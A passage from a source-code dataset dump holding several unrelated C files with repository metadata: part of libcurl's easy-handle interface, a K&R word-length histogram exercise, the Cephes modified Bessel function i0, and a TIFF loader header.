return CURLE_RECV_ERROR;
if(mcode)
return CURLE_URL_MALFORMAT; /* TODO: return a proper error! */
/* we don't really care about the "msgs_in_queue" value returned in the
second argument */
msg = curl_multi_info_read(multi, &pollrc);
if(msg) {
result = msg->data.result;
done = TRUE;
}
}
return result;
}
/* easy_events()
*
* Runs a transfer in a blocking manner using the events-based API
*/
static CURLcode easy_events(struct Curl_multi *multi)
{
/* this struct is made static to allow it to be used after this function
returns and curl_multi_remove_handle() is called */
static struct events evs = {2, FALSE, 0, NULL, 0};
/* if running event-based, do some further multi inits */
events_setup(multi, &evs);
return wait_or_timeout(multi, &evs);
}
#else /* CURLDEBUG */
/* when not built with debug, this function doesn't exist */
#define easy_events(x) CURLE_NOT_BUILT_IN
#endif
static CURLcode easy_transfer(struct Curl_multi *multi)
{
bool done = FALSE;
CURLMcode mcode = CURLM_OK;
CURLcode result = CURLE_OK;
while(!done && !mcode) {
int still_running = 0;
bool gotsocket = FALSE;
mcode = Curl_multi_wait(multi, NULL, 0, 1000, NULL, &gotsocket);
if(!mcode) {
if(!gotsocket) {
long sleep_ms;
/* If it returns without any filedescriptor instantly, we need to
avoid busy-looping during periods where it has nothing particular
to wait for */
curl_multi_timeout(multi, &sleep_ms);
if(sleep_ms) {
if(sleep_ms > 1000)
sleep_ms = 1000;
Curl_wait_ms((int)sleep_ms);
}
}
mcode = curl_multi_perform(multi, &still_running);
}
/* only read 'still_running' if curl_multi_perform() return OK */
if(!mcode && !still_running) {
int rc;
CURLMsg *msg = curl_multi_info_read(multi, &rc);
if(msg) {
result = msg->data.result;
done = TRUE;
}
}
}
/* Make sure to return some kind of error if there was a multi problem */
if(mcode) {
result = (mcode == CURLM_OUT_OF_MEMORY) ? CURLE_OUT_OF_MEMORY :
/* The other multi errors should never happen, so return
something suitably generic */
CURLE_BAD_FUNCTION_ARGUMENT;
}
return result;
}
/*
* easy_perform() is the external interface that performs a blocking
* transfer as previously setup.
*
* CONCEPT: This function creates a multi handle, adds the easy handle to it,
* runs curl_multi_perform() until the transfer is done, then detaches the
* easy handle, destroys the multi handle and returns the easy handle's return
* code.
*
* REALITY: it can't just create and destroy the multi handle that easily. It
* needs to keep it around since if this easy handle is used again by this
* function, the same multi handle must be re-used so that the same pools and
* caches can be used.
*
* DEBUG: if 'events' is set TRUE, this function will use a replacement engine
* instead of curl_multi_perform() and use curl_multi_socket_action().
*/
static CURLcode easy_perform(struct Curl_easy *data, bool events)
{
struct Curl_multi *multi;
CURLMcode mcode;
CURLcode result = CURLE_OK;
SIGPIPE_VARIABLE(pipe_st);
if(!data)
return CURLE_BAD_FUNCTION_ARGUMENT;
if(data->set.errorbuffer)
/* clear this as early as possible */
data->set.errorbuffer[0] = 0;
if(data->multi) {
failf(data, "easy handle already used in multi handle");
return CURLE_FAILED_INIT;
}
if(data->multi_easy)
multi = data->multi_easy;
else {
/* this multi handle will only ever have a single easy handled attached
to it, so make it use minimal hashes */
multi = Curl_multi_handle(1, 3);
if(!multi)
return CURLE_OUT_OF_MEMORY;
data->multi_easy = multi;
}
if(multi->in_callback)
return CURLE_RECURSIVE_API_CALL;
/* Copy the MAXCONNECTS option to the multi handle */
curl_multi_setopt(multi, CURLMOPT_MAXCONNECTS, data->set.maxconnects);
mcode = curl_multi_add_handle(multi, data);
if(mcode) {
curl_multi_cleanup(multi);
if(mcode == CURLM_OUT_OF_MEMORY)
return CURLE_OUT_OF_MEMORY;
return CURLE_FAILED_INIT;
}
sigpipe_ignore(data, &pipe_st);
/* assign this after curl_multi_add_handle() since that function checks for
it and rejects this handle otherwise */
data->multi = multi;
/* run the transfer */
result = events ? easy_events(multi) : easy_transfer(multi);
/* ignoring the return code isn't nice, but atm we can't really handle
a failure here, room for future improvement! */
(void)curl_multi_remove_handle(multi, data);
sigpipe_restore(&pipe_st);
/* The multi handle is kept alive, owned by the easy handle */
return result;
}
/*
* curl_easy_perform() is the external interface that performs a blocking
* transfer as previously setup.
*/
CURLcode curl_easy_perform(struct Curl_easy *data)
{
return easy_perform(data, FALSE);
}
#ifdef CURLDEBUG
/*
* curl_easy_perform_ev() is the external interface that performs a blocking
* transfer using the event-based API internally.
*/
CURLcode curl_easy_perform_ev(struct Curl_easy *data)
{
return easy_perform(data, TRUE);
}
#endif
/*
* curl_easy_cleanup() is the external interface to cleaning/freeing the given
* easy handle.
*/
void curl_easy_cleanup(struct Curl_easy *data)
{
SIGPIPE_VARIABLE(pipe_st);
if(!data)
return;
sigpipe_ignore(data, &pipe_st);
Curl_close(data);
sigpipe_restore(&pipe_st);
}
/*
* curl_easy_getinfo() is an external interface that allows an app to retrieve
* information from a performed transfer and similar.
*/
#undef curl_easy_getinfo
CURLcode curl_easy_getinfo(struct Curl_easy *data, CURLINFO info, ...)
{
va_list arg;
void *paramp;
CURLcode result;
va_start(arg, info);
paramp = va_arg(arg, void *);
result = Curl_getinfo(data, info, paramp);
va_end(arg);
return result;
}
/* !checksrc! disable LONGLINE all */
CURLcode curl_easy_getinfo_ptr(struct Curl_easy *data, CURLINFO info, void **arg)
{
return curl_easy_getinfo(data, info, arg);
}
/* !checksrc! enable LONGLINE */
static CURLcode dupset(struct Curl_easy *dst, struct Curl_easy *src)
{
CURLcode result = CURLE_OK;
enum dupstring i;
/* Copy src->set into dst->set first, then deal with the strings
afterwards */
dst->set = src->set;
Curl_mime_initpart(&dst->set.mimepost, dst);
/* clear all string pointers first */
memset(dst->set.str, 0, STRING_LAST * sizeof(char *));
/* duplicate all strings */
for(i = (enum dupstring)0; i< STRING_LASTZEROTERMINATED; i++) {
result = Curl_setstropt(&dst->set.str[i], src->set.str[i]);
if(result)
return result;
}
/* duplicate memory areas pointed to */
i = STRING_COPYPOSTFIELDS;
if(src->set.postfieldsize && src->set.str[i]) {
/* postfieldsize is curl_off_t, Curl_memdup() takes a size_t ... */
dst->set.str[i] = Curl_memdup(src->set.str[i],
curlx_sotouz(src->set.postfieldsize));
if(!dst->set.str[i])
return CURLE_OUT_OF_MEMORY;
/* point to the new copy */
dst->set.postfields = dst->set.str[i];
}
/* Duplicate mime data. */
result = Curl_mime_duppart(&dst->set.mimepost, &src->set.mimepost);
if(src->set.resolve)
dst->change.resolve = dst->set.resolve;
return result;
}
/*
* curl_easy_duphandle() is an external interface to allow duplication of a
* given input easy handle. The returned handle will be a new working handle
* with all options set exactly as the input source handle.
*/
struct Curl_easy *curl_easy_duphandle(struct Curl_easy *data)
{
struct Curl_easy *outcurl = calloc(1, sizeof(struct Curl_easy));
if(NULL == outcurl)
goto fail;
/*
* We setup a few buffers we need. We should probably make them
* get setup on-demand in the code, as that would probably decrease
* the likeliness of us forgetting to init a buffer here in the future.
*/
outcurl->set.buffer_size = data->set.buffer_size;
outcurl->state.buffer = malloc(outcurl->set.buffer_size + 1);
if(!outcurl->state.buffer)
goto fail;
outcurl->state.headerbuff = malloc(HEADERSIZE);
if(!outcurl->state.headerbuff)
goto fail;
outcurl->state.headersize = HEADERSIZE;
/* copy all userdefined values */
if(dupset(outcurl, data))
goto fail;
/* the connection cache is setup on demand */
outcurl->state.conn_cache = NULL;
outcurl->state.lastconnect = NULL;
outcurl->progress.flags = data->progress.flags;
outcurl->progress.callback = data->progress.callback;
if(data->cookies) {
/* If cookies are enabled in the parent handle, we enable them
in the clone as well! */
outcurl->cookies = Curl_cookie_init(data,
data->cookies->filename,
outcurl->cookies,
data->set.cookiesession);
if(!outcurl->cookies)
goto fail;
}
/* duplicate all values in 'change' */
if(data->change.cookielist) {
outcurl->change.cookielist =
Curl_slist_duplicate(data->change.cookielist);
if(!outcurl->change.cookielist)
goto fail;
}
if(data->change.url) {
outcurl->change.url = strdup(data->change.url);
if(!outcurl->change.url)
goto fail;
outcurl->change.url_alloc = TRUE;
}
if(data->change.referer) {
outcurl->change.referer = strdup(data->change.referer);
if(!outcurl->change.referer)
goto fail;
outcurl->change.referer_alloc = TRUE;
}
/* Reinitialize an SSL engine for the new handle
* note: the engine name has already been copied by dupset */
if(outcurl->set.str[STRING_SSL_ENGINE]) {
if(Curl_ssl_set_engine(outcurl, outcurl->set.str[STRING_SSL_ENGINE]))
goto fail;
}
/* Clone the resolver handle, if present, for the new handle */
if(Curl_resolver_duphandle(outcurl,
&outcurl->state.resolver,
data->state.resolver))
goto fail;
Curl_convert_setup(outcurl);
Curl_initinfo(outcurl);
outcurl->magic = CURLEASY_MAGIC_NUMBER;
/* we reach this point and thus we are OK */
return outcurl;
fail:
if(outcurl) {
curl_slist_free_all(outcurl->change.cookielist);
outcurl->change.cookielist = NULL;
Curl_safefree(outcurl->state.buffer);
Curl_safefree(outcurl->state.headerbuff);
Curl_safefree(outcurl->change.url);
Curl_safefree(outcurl->change.referer);
Curl_freeset(outcurl);
free(outcurl);
}
return NULL;
}
/*
* curl_easy_reset() is an external interface that allows an app to re-
* initialize a session handle to the default values.
*/
void curl_easy_reset(struct Curl_easy *data)
{
Curl_free_request_state(data);
/* zero out UserDefined data: */
Curl_freeset(data);
memset(&data->set, 0, sizeof(struct UserDefined));
(void)Curl_init_userdefined(data);
/* zero out Progress data: */
memset(&data->progress, 0, sizeof(struct Progress));
/* zero out PureInfo data: */
Curl_initinfo(data);
data->progress.flags |= PGRS_HIDE;
data->state.current_speed = -1; /* init to negative == impossible */
/* zero out authentication data: */
memset(&data->state.authhost, 0, sizeof(struct auth));
memset(&data->state.authproxy, 0, sizeof(struct auth));
Curl_digest_cleanup(data);
}
/*
* curl_easy_pause() allows an application to pause or unpause a specific
* transfer and direction. This function sets the full new state for the
* current connection this easy handle operates on.
*
* NOTE: if you have the receiving paused and you call this function to remove
* the pausing, you may get your write callback called at this point.
*
* Action is a bitmask consisting of CURLPAUSE_* bits in curl/curl.h
*
* NOTE: This is one of few API functions that are allowed to be called from
* within a callback.
*/
CURLcode curl_easy_pause(struct Curl_easy *data, int action)
{
struct SingleRequest *k = &data->req;
CURLcode result = CURLE_OK;
/* first switch off both pause bits */
int newstate = k->keepon &~ (KEEP_RECV_PAUSE| KEEP_SEND_PAUSE);
/* set the new desired pause bits */
newstate |= ((action & CURLPAUSE_RECV)?KEEP_RECV_PAUSE:0) |
((action & CURLPAUSE_SEND)?KEEP_SEND_PAUSE:0);
/* put it back in the keepon */
k->keepon = newstate;
if(!(newstate & KEEP_RECV_PAUSE) && data->state.tempcount) {
/* there are buffers for sending that can be delivered as the receive
pausing is lifted! */
unsigned int i;
unsigned int count = data->state.tempcount;
struct tempbuf writebuf[3]; /* there can only be three */
struct connectdata *conn = data->conn;
struct Curl_easy *saved_data = NULL;
/* copy the structs to allow for immediate re-pausing */
for(i = 0; i < data->state.tempcount; i++) {
writebuf[i] = data->state.tempwrite[i];
data->state.tempwrite[i].buf = NULL;
}
data->state.tempcount = 0;
/* set the connection's current owner */
if(conn->data != data) {
saved_data = conn->data;
conn->data = data;
}
for(i = 0; i < count; i++) {
/* even if one function returns error, this loops through and frees all
buffers */
if(!result)
result = Curl_client_write(conn, writebuf[i].type, writebuf[i].buf,
writebuf[i].len);
free(writebuf[i].buf);
}
/* recover previous owner of the connection */
if(saved_data)
conn->data = saved_data;
if(result)
return result;
}
/* if there's no error and we're not pausing both directions, we want
to have this handle checked soon */
if(!result &&
((newstate&(KEEP_RECV_PAUSE|KEEP_SEND_PAUSE)) !=
(KEEP_RECV_PAUSE|KEEP_SEND_PAUSE)) )
Curl_expire(data, 0, EXPIRE_RUN_NOW); /* get this handle going again */
/* This transfer may have been moved in or out of the bundle, update
the corresponding socket callback, if used */
Curl_updatesocket(data);
return result;
}
static CURLcode easy_connection(struct Curl_easy *data,
curl_socket_t *sfd,
struct connectdata **connp)
{
if(data == NULL)
return CURLE_BAD_FUNCTION_ARGUMENT;
/* only allow these to be called on handles with CURLOPT_CONNECT_ONLY */
if(!data->set.connect_only) {
failf(data, "CONNECT_ONLY is required!");
return CURLE_UNSUPPORTED_PROTOCOL;
}
*sfd = Curl_getconnectinfo(data, connp);
if(*sfd == CURL_SOCKET_BAD) {
failf(data, "Failed to get recent socket");
return CURLE_UNSUPPORTED_PROTOCOL;
}
return CURLE_OK;
}
/*
* Receives data from the connected socket. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
* Returns CURLE_OK on success, error code on error.
*/
CURLcode curl_easy_recv(struct Curl_easy *data, void *buffer, size_t buflen,
size_t *n)
{
curl_socket_t sfd;
CURLcode result;
ssize_t n1;
struct connectdata *c;
if(Curl_is_in_callback(data))
return CURLE_RECURSIVE_API_CALL;
result = easy_connection(data, &sfd, &c);
if(result)
return result;
*n = 0;
result = Curl_read(c, sfd, buffer, buflen, &n1);
if(result)
return result;
*n = (size_t)n1;
return CURLE_OK;
}
/*
* Sends data over the connected socket. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
*/
CURLcode curl_easy_send(struct Curl_easy *data, const void *buffer,
size_t buflen, size_t *n)
{
curl_socket_t sfd;
CURLcode result;
ssize_t n1;
struct connectdata *c = NULL;
if(Curl_is_in_callback(data))
return CURLE_RECURSIVE_API_CALL;
result = easy_connection(data, &sfd, &c);
if(result)
return result;
*n = 0;
result = Curl_write(c, sfd, buffer, buflen, &n1);
if(n1 == -1)
return CURLE_SEND_ERROR;
/* detect EAGAIN */
if(!result && !n1)
return CURLE_AGAIN;
*n = (size_t)n1;
return result;
}
/*
* Performs connection upkeep for the given session handle.
*/
CURLcode curl_easy_upkeep(struct Curl_easy *data)
{
/* Verify that we got an easy handle we can work with. */
if(!GOOD_EASY_HANDLE(data))
return CURLE_BAD_FUNCTION_ARGUMENT;
if(data->multi_easy) {
/* Use the common function to keep connections alive. */
return Curl_upkeep(&data->multi_easy->conn_cache, data);
}
else {
/* No connections, so just return success */
return CURLE_OK;
}
}
| [
"yzk0370@gmail.com"
] | yzk0370@gmail.com |
1b90193a1e84c49240ff71507272b6258d7fb1dc | da2aafcdfa54e1c937eab895215169518c52116a | /1-x/1-12.c | a2215bc7f05514cd57d7ec8f7c45eaa858a2b01b | [] | no_license | y2kbugger/kr | bdf1e01124e92f89ff90c17effbe8bebdc1590b3 | ca94588a04a8cce21d10f8c9e4c21ea22fe0cf83 | refs/heads/master | 2021-01-13T14:00:15.397376 | 2020-06-16T04:19:38 | 2020-06-16T04:19:38 | 72,900,548 | 0 | 1 | null | null | null | null | UTF-8 | C | false | false | 1,406 | c | #include <stdio.h>
#define IN 1
#define OUT 0
/* make a histogram of word lengths */
/* words up to length 255 */
/* zero length is whitespace */
/* test using man rsync | ./out */
int main()
{
int c, state, len;
int lenmax;
int nmax;
int nlen[255];
int i, j;
i = j = c = 0;
state = OUT;
lenmax = len = nmax = 0;
for (i = 0; i<= 255; i++)
nlen[i] = 0;
while (c != EOF) {
c = getchar();
if (c == ' ' || c == '\n' || c == '\t' || c == EOF) {
++nlen[len]; /* count the word length */
++nlen[0]; /* count the whitespace */
state = OUT;
len = 0;
}
else if (state == OUT) {
state = IN;
++len;
}
else {
++len;
}
}
--nlen[0]; /* EOF isn't actually whitespace */
/* find the max word length */
for (i = 1; i<= 255; i++) {
if (nlen[i] != 0)
lenmax = i;
if (nlen[i] > nmax)
nmax = nlen[i];
}
/* print the histogram */
/* normalize the max bar length to 72 */
for (i = 1; i<=lenmax; i++) {
printf("\n");
for(j=0; j<(72*nlen[i]/nmax); j++)
putchar('#');
}
printf("\n");
printf("whitespace: %d\n", nlen[0]);
printf("nmax: %d\n", nmax);
printf("lenmax: %d\n", lenmax);
return 0;
}
| [
"git@y2kbugger.com"
] | git@y2kbugger.com |
f87195d2e7f23dcb62484f4db2bbc22dd58a5cc3 | e27eb828b38e634279c767a4cf6d8caa2a35b018 | /libs/juced/source/dependancies/gwc/i0.c | 3ef08aed5f2589a54c1d6231cb8c9ef0cbd6cb87 | [] | no_license | DISTRHO/DISTRHO-Ports | 8d9ea43ac7f6264f1b28ff4150e432e43683a9b4 | f2dbaded0a05732e3499fa374a586e5b32370da5 | refs/heads/master | 2023-08-18T12:45:11.671939 | 2022-07-13T00:12:08 | 2022-07-13T00:12:08 | 16,835,158 | 233 | 45 | null | 2023-06-08T05:10:21 | 2014-02-14T11:14:11 | C++ | UTF-8 | C | false | false | 9,162 | c | /* i0.c
*
* Modified Bessel function of order zero
*
*
*
* SYNOPSIS:
*
* double x, y, i0();
*
* y = i0( x );
*
*
*
* DESCRIPTION:
*
* Returns modified Bessel function of order zero of the
* argument.
*
* The function is defined as i0(x) = j0( ix ).
*
* The range is partitioned into the two intervals [0,8] and
* (8, infinity). Chebyshev polynomial expansions are employed
* in each interval.
*
*
*
* ACCURACY:
*
* Relative error:
* arithmetic domain # trials peak rms
* DEC 0,30 6000 8.2e-17 1.9e-17
* IEEE 0,30 30000 5.8e-16 1.4e-16
*
*/
/* i0e.c
*
* Modified Bessel function of order zero,
* exponentially scaled
*
*
*
* SYNOPSIS:
*
* double x, y, i0e();
*
* y = i0e( x );
*
*
*
* DESCRIPTION:
*
* Returns exponentially scaled modified Bessel function
* of order zero of the argument.
*
* The function is defined as i0e(x) = exp(-|x|) j0( ix ).
*
*
*
* ACCURACY:
*
* Relative error:
* arithmetic domain # trials peak rms
* IEEE 0,30 30000 5.4e-16 1.2e-16
* See i0().
*
*/
/* i0.c */
/*
Cephes Math Library Release 2.8: June, 2000
Copyright 1984, 1987, 2000 by Stephen L. Moshier
*/
#include "mconf.h"
/* Chebyshev coefficients for exp(-x) I0(x)
* in the interval [0,8].
*
* lim(x->0){ exp(-x) I0(x) } = 1.
*/
#ifdef UNK
static double A[] =
{
-4.41534164647933937950E-18,
3.33079451882223809783E-17,
-2.43127984654795469359E-16,
1.71539128555513303061E-15,
-1.16853328779934516808E-14,
7.67618549860493561688E-14,
-4.85644678311192946090E-13,
2.95505266312963983461E-12,
-1.72682629144155570723E-11,
9.67580903537323691224E-11,
-5.18979560163526290666E-10,
2.65982372468238665035E-9,
-1.30002500998624804212E-8,
6.04699502254191894932E-8,
-2.67079385394061173391E-7,
1.11738753912010371815E-6,
-4.41673835845875056359E-6,
1.64484480707288970893E-5,
-5.75419501008210370398E-5,
1.88502885095841655729E-4,
-5.76375574538582365885E-4,
1.63947561694133579842E-3,
-4.32430999505057594430E-3,
1.05464603945949983183E-2,
-2.37374148058994688156E-2,
4.93052842396707084878E-2,
-9.49010970480476444210E-2,
1.71620901522208775349E-1,
-3.04682672343198398683E-1,
6.76795274409476084995E-1
};
#endif
#ifdef DEC
static unsigned short A[] = {
0121642,0162671,0004646,0103567,
0022431,0115424,0135755,0026104,
0123214,0023533,0110365,0156635,
0023767,0033304,0117662,0172716,
0124522,0100426,0012277,0157531,
0025254,0155062,0054461,0030465,
0126010,0131143,0013560,0153604,
0026517,0170577,0006336,0114437,
0127227,0162253,0152243,0052734,
0027724,0142766,0061641,0160200,
0130416,0123760,0116564,0125262,
0031066,0144035,0021246,0054641,
0131537,0053664,0060131,0102530,
0032201,0155664,0165153,0020652,
0132617,0061434,0074423,0176145,
0033225,0174444,0136147,0122542,
0133624,0031576,0056453,0020470,
0034211,0175305,0172321,0041314,
0134561,0054462,0147040,0165315,
0035105,0124333,0120203,0162532,
0135427,0013750,0174257,0055221,
0035726,0161654,0050220,0100162,
0136215,0131361,0000325,0041110,
0036454,0145417,0117357,0017352,
0136702,0072367,0104415,0133574,
0037111,0172126,0072505,0014544,
0137302,0055601,0120550,0033523,
0037457,0136543,0136544,0043002,
0137633,0177536,0001276,0066150,
0040055,0041164,0100655,0010521
};
#endif
#ifdef IBMPC
static unsigned short A[] = {
0xd0ef,0x2134,0x5cb7,0xbc54,
0xa589,0x977d,0x3362,0x3c83,
0xbbb4,0x721e,0x84eb,0xbcb1,
0x5eba,0x93f6,0xe6d8,0x3cde,
0xfbeb,0xc297,0x5022,0xbd0a,
0x2627,0x4b26,0x9b46,0x3d35,
0x1af0,0x62ee,0x164c,0xbd61,
0xd324,0xe19b,0xfe2f,0x3d89,
0x6abc,0x7a94,0xfc95,0xbdb2,
0x3c10,0xcc74,0x98be,0x3dda,
0x9556,0x13ae,0xd4fe,0xbe01,
0xcb34,0xa454,0xd903,0x3e26,
0x30ab,0x8c0b,0xeaf6,0xbe4b,
0x6435,0x9d4d,0x3b76,0x3e70,
0x7f8d,0x8f22,0xec63,0xbe91,
0xf4ac,0x978c,0xbf24,0x3eb2,
0x6427,0xcba5,0x866f,0xbed2,
0x2859,0xbe9a,0x3f58,0x3ef1,
0x1d5a,0x59c4,0x2b26,0xbf0e,
0x7cab,0x7410,0xb51b,0x3f28,
0xeb52,0x1f15,0xe2fd,0xbf42,
0x100e,0x8a12,0xdc75,0x3f5a,
0xa849,0x201a,0xb65e,0xbf71,
0xe3dd,0xf3dd,0x9961,0x3f85,
0xb6f0,0xf121,0x4e9e,0xbf98,
0xa32d,0xcea8,0x3e8a,0x3fa9,
0x06ea,0x342d,0x4b70,0xbfb8,
0x88c0,0x77ac,0xf7ac,0x3fc5,
0xcd8d,0xc057,0x7feb,0xbfd3,
0xa22a,0x9035,0xa84e,0x3fe5,
};
#endif
#ifdef MIEEE
static unsigned short A[] = {
0xbc54,0x5cb7,0x2134,0xd0ef,
0x3c83,0x3362,0x977d,0xa589,
0xbcb1,0x84eb,0x721e,0xbbb4,
0x3cde,0xe6d8,0x93f6,0x5eba,
0xbd0a,0x5022,0xc297,0xfbeb,
0x3d35,0x9b46,0x4b26,0x2627,
0xbd61,0x164c,0x62ee,0x1af0,
0x3d89,0xfe2f,0xe19b,0xd324,
0xbdb2,0xfc95,0x7a94,0x6abc,
0x3dda,0x98be,0xcc74,0x3c10,
0xbe01,0xd4fe,0x13ae,0x9556,
0x3e26,0xd903,0xa454,0xcb34,
0xbe4b,0xeaf6,0x8c0b,0x30ab,
0x3e70,0x3b76,0x9d4d,0x6435,
0xbe91,0xec63,0x8f22,0x7f8d,
0x3eb2,0xbf24,0x978c,0xf4ac,
0xbed2,0x866f,0xcba5,0x6427,
0x3ef1,0x3f58,0xbe9a,0x2859,
0xbf0e,0x2b26,0x59c4,0x1d5a,
0x3f28,0xb51b,0x7410,0x7cab,
0xbf42,0xe2fd,0x1f15,0xeb52,
0x3f5a,0xdc75,0x8a12,0x100e,
0xbf71,0xb65e,0x201a,0xa849,
0x3f85,0x9961,0xf3dd,0xe3dd,
0xbf98,0x4e9e,0xf121,0xb6f0,
0x3fa9,0x3e8a,0xcea8,0xa32d,
0xbfb8,0x4b70,0x342d,0x06ea,
0x3fc5,0xf7ac,0x77ac,0x88c0,
0xbfd3,0x7feb,0xc057,0xcd8d,
0x3fe5,0xa84e,0x9035,0xa22a
};
#endif
/* Chebyshev coefficients for exp(-x) sqrt(x) I0(x)
* in the inverted interval [8,infinity].
*
* lim(x->inf){ exp(-x) sqrt(x) I0(x) } = 1/sqrt(2pi).
*/
#ifdef UNK
static double B[] =
{
-7.23318048787475395456E-18,
-4.83050448594418207126E-18,
4.46562142029675999901E-17,
3.46122286769746109310E-17,
-2.82762398051658348494E-16,
-3.42548561967721913462E-16,
1.77256013305652638360E-15,
3.81168066935262242075E-15,
-9.55484669882830764870E-15,
-4.15056934728722208663E-14,
1.54008621752140982691E-14,
3.85277838274214270114E-13,
7.18012445138366623367E-13,
-1.79417853150680611778E-12,
-1.32158118404477131188E-11,
-3.14991652796324136454E-11,
1.18891471078464383424E-11,
4.94060238822496958910E-10,
3.39623202570838634515E-9,
2.26666899049817806459E-8,
2.04891858946906374183E-7,
2.89137052083475648297E-6,
6.88975834691682398426E-5,
3.36911647825569408990E-3,
8.04490411014108831608E-1
};
#endif
#ifdef DEC
static unsigned short B[] = {
0122005,0066672,0123124,0054311,
0121662,0033323,0030214,0104602,
0022515,0170300,0113314,0020413,
0022437,0117350,0035402,0007146,
0123243,0000135,0057220,0177435,
0123305,0073476,0144106,0170702,
0023777,0071755,0017527,0154373,
0024211,0052214,0102247,0033270,
0124454,0017763,0171453,0012322,
0125072,0166316,0075505,0154616,
0024612,0133770,0065376,0025045,
0025730,0162143,0056036,0001632,
0026112,0015077,0150464,0063542,
0126374,0101030,0014274,0065457,
0127150,0077271,0125763,0157617,
0127412,0104350,0040713,0120445,
0027121,0023765,0057500,0001165,
0030407,0147146,0003643,0075644,
0031151,0061445,0044422,0156065,
0031702,0132224,0003266,0125551,
0032534,0000076,0147153,0005555,
0033502,0004536,0004016,0026055,
0034620,0076433,0142314,0171215,
0036134,0146145,0013454,0101104,
0040115,0171425,0062500,0047133
};
#endif
#ifdef IBMPC
static unsigned short B[] = {
0x8b19,0x54ca,0xadb7,0xbc60,
0x9130,0x6611,0x46da,0xbc56,
0x8421,0x12d9,0xbe18,0x3c89,
0x41cd,0x0760,0xf3dd,0x3c83,
0x1fe4,0xabd2,0x600b,0xbcb4,
0xde38,0xd908,0xaee7,0xbcb8,
0xfb1f,0xa3ea,0xee7d,0x3cdf,
0xe6d7,0x9094,0x2a91,0x3cf1,
0x629a,0x7e65,0x83fe,0xbd05,
0xbb32,0xcf68,0x5d99,0xbd27,
0xc545,0x0d5f,0x56ff,0x3d11,
0xc073,0x6b83,0x1c8c,0x3d5b,
0x8cec,0xfa26,0x4347,0x3d69,
0x8d66,0x0317,0x9043,0xbd7f,
0x7bf2,0x357e,0x0fd7,0xbdad,
0x7425,0x0839,0x511d,0xbdc1,
0x004f,0xabe8,0x24fe,0x3daa,
0x6f75,0xc0f4,0xf9cc,0x3e00,
0x5b87,0xa922,0x2c64,0x3e2d,
0xd56d,0x80d6,0x5692,0x3e58,
0x616e,0xd9cd,0x8007,0x3e8b,
0xc586,0xc101,0x412b,0x3ec8,
0x9e52,0x7899,0x0fa3,0x3f12,
0x9049,0xa2e5,0x998c,0x3f6b,
0x09cb,0xaca8,0xbe62,0x3fe9
};
#endif
#ifdef MIEEE
static unsigned short B[] = {
0xbc60,0xadb7,0x54ca,0x8b19,
0xbc56,0x46da,0x6611,0x9130,
0x3c89,0xbe18,0x12d9,0x8421,
0x3c83,0xf3dd,0x0760,0x41cd,
0xbcb4,0x600b,0xabd2,0x1fe4,
0xbcb8,0xaee7,0xd908,0xde38,
0x3cdf,0xee7d,0xa3ea,0xfb1f,
0x3cf1,0x2a91,0x9094,0xe6d7,
0xbd05,0x83fe,0x7e65,0x629a,
0xbd27,0x5d99,0xcf68,0xbb32,
0x3d11,0x56ff,0x0d5f,0xc545,
0x3d5b,0x1c8c,0x6b83,0xc073,
0x3d69,0x4347,0xfa26,0x8cec,
0xbd7f,0x9043,0x0317,0x8d66,
0xbdad,0x0fd7,0x357e,0x7bf2,
0xbdc1,0x511d,0x0839,0x7425,
0x3daa,0x24fe,0xabe8,0x004f,
0x3e00,0xf9cc,0xc0f4,0x6f75,
0x3e2d,0x2c64,0xa922,0x5b87,
0x3e58,0x5692,0x80d6,0xd56d,
0x3e8b,0x8007,0xd9cd,0x616e,
0x3ec8,0x412b,0xc101,0xc586,
0x3f12,0x0fa3,0x7899,0x9e52,
0x3f6b,0x998c,0xa2e5,0x9049,
0x3fe9,0xbe62,0xaca8,0x09cb
};
#endif
#ifdef ANSIPROT
extern double chbevl ( double, void *, int );
extern double exp ( double );
extern double sqrt ( double );
#else
double chbevl(), exp(), sqrt();
#endif
double i0(x)
double x;
{
double y;
if( x < 0 )
x = -x;
if( x <= 8.0 )
{
y = (x/2.0) - 2.0;
return( exp(x) * chbevl( y, A, 30 ) );
}
return( exp(x) * chbevl( 32.0/x - 2.0, B, 25 ) / sqrt(x) );
}
double i0e( x )
double x;
{
double y;
if( x < 0 )
x = -x;
if( x <= 8.0 )
{
y = (x/2.0) - 2.0;
return( chbevl( y, A, 30 ) );
}
return( chbevl( 32.0/x - 2.0, B, 25 ) / sqrt(x) );
}
| [
"falktx@gmail.com"
] | falktx@gmail.com |
8b731cb1e64cff236c34f0946052eb3bd571b45e | 309e1045a872514f82e7b3987f97b38c28b03e41 | /rouziclib/fileio/image_tiff.h | ab0ec5abc1821533c8a59bec6969fb9372485f5b | [
"MIT"
] | permissive | Photosounder/rouziclib | ca51421f59389ed153cbd9598b7045772fdeed9b | fdc965964b13edf8c110fb1258d422856b5180dc | refs/heads/master | 2023-08-24T23:51:23.023879 | 2023-08-20T06:13:11 | 2023-08-20T06:13:11 | 19,373,094 | 43 | 9 | null | null | null | null | UTF-8 | C | false | false | 942 | h | typedef struct
{
xyi_t dim;
int be, chan, bpc; // big endian, channel count, bits per channel
int compression; // 1 for uncompressed
int photometric; // 2 for RGB(A)
int sample_format; // 1 for uint, 2 for int, 3 for float
int lzw_diff; // 1 for no difference, 2 for horizontal difference
uint32_t *data_offset; // points to the strip offsets
int offset_count; // number of strip offsets
int rowsperstrip, planarconfig;
int bytesperstrip; // number of decoded bytes per strip
} tiff_info_t;
extern int is_file_tiff_mem(uint8_t *data);
extern raster_t load_tiff_mem_raster(uint8_t *data);
extern float *load_tiff_file(const char *path, xyi_t *dim, int *out_chan);
extern void *load_tiff_file_raw(const char *path, tiff_info_t *info);
extern raster_t load_tiff_file_raster(const char *path);
extern int save_image_tiff(const char *path, float *im, xyi_t dim, int in_chan, int out_chan, int bpc);
extern int tiff_store_pixels_last;
| [
"contact@photosounder.com"
] | contact@photosounder.com |
d928811aa73e2fdaa6b2420218c9b5f20477528f | b010b0acdeacb2164ec2a8753469544465a45d23 | /mess/src/lib/miniupnpc-1.4.20100609/miniupnpcstrings.h | 64032f8b62aa9c98deef6660797167a16c2f5316 | [
"BSD-3-Clause"
